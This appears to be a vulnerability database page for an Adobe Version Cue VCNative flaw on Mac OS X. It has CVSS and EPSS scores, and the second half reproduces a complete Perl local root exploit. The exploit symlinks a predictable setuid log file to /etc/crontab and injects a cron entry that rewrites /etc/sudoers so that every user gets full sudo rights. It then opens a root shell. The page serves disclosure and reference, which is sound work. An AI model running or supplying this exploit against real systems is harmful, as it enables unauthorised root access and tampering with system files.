CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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VCNative for Adobe Version Cue 1.0 and 1.0.1, as used in Creative Suite 1.0 and 1.3, and when running on Mac OS X with Version Cue Workspace, creates temporary log files with predictable names, which allows local users to modify arbitrary files via a symlink attack.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:P/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
2.26%
–
–
2022-02-13
–
–
2.26%
–
–
2022-04-03
–
–
2.26%
–
–
2022-08-28
–
–
2.26%
–
–
2023-03-12
–
–
–
0.04%
–
2024-04-07
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-10-13
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-12
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.35%
2025-03-30
–
–
–
–
0.34%
2025-04-15
–
–
–
–
0.34%
2025-05-22
–
–
–
–
0.26%
2025-05-22
–
–
–
–
0.26,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/usr/bin/perl
#
# Adobe Version Cue VCNative[OSX]: local root exploit.
#
# by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)
#
# Adobe Version Cue's VCNative program writes data to a log file in
# the current working directory while running as (setuid) root. the
# logfile is formated as <cwd>/VCNative-<pid>.log, which is easily
# predictable. you may link this file to any file on the system
# and overwrite its contents. use of the "-host" option (with
# "-port") will allow user-supplied data to be injected into the
# file.
#
# This exploit works by overwriting /etc/crontab with
# '* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers' and
# log garbage. within a short period of time crontab will overwrite
# /etc/sudoers and "sudo sh" to root is possible. this method is used
# because direct overwriting of /etc/sudoers will cause sudo to exit
# with configuration errors due to the log garbage, whereas crontab
# will ignore it. (this exploit requires both cron to be running and
# sudo to exist--this is generally default osx)
use POSIX;
$vcn_path="/Applications/Adobe Version Cue/tomcat/webapps/ROOT/" .
"WEB-INF/components/com.adobe.bauhaus.nativecomm/res/VCNative";
$vcn_pid=($$ + 1);
$vcn_cwd="/tmp";
$vcn_tempfile="$vcn_cwd/VCNative-$vcn_pid\.log";
$ovrfile="/etc/crontab";
$ovrstr="* * * * * root echo \\\"ALL ALL=(ALL) ALL\\\">/etc/sudoers";
sub pexit{print("[!] @_.\n");exit(1);}
print("[*] Adobe Version Cue VCNative[OSX]: local root exploit.\n");
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");
if(!-f $vcn_path){
pexit("VCNative binary doesn't appear to exist");
}
if(!-f"/etc/crontab"||!-f"/etc/sudoers"){
pexit("/etc/crontab and /etc/sudoers are required for this to work");
}
print("[*] sym-linking $ovrfile -> $vcn_tempfile.\n");
symlink($ovrfile,$vcn_tempfile)||pexit("couldn't link files.");
@ast=stat($ovrfile);
print("[*] running VCNative...\n");
system("\"$vcn_path\" -cwd $vcn_cwd -port 1 -host \"\n\n$ovrstr\n\n\"");
print("[*] removing $vcn_tempfile...\n");
unlink($vcn_tempfile);
@st=stat($ovrfile);
if($st[7]==$ast[7]&&$st[9]==$ast[9]){
pexit("$ovrfile was not modified, exploit failed");
}
else{
print("[*] $ovrfile was overwritten successfully...\n");
}
print("[*] waiting for crontab to change /etc/sudoers...\n");
@ast=@st=stat("/etc/sudoers");
while($st[7]==$ast[7]&&$st[9]==$ast[9]){
sleep(1);
@ast=stat("/etc/sudoers");
}
print("[*] /etc/sudoers has been modified.\n");
print("[*] attempting to \"sudo sh\". (use YOUR password)\n");
system("sudo sh");
exit(0);
# milw0rm.com [2005-08-30]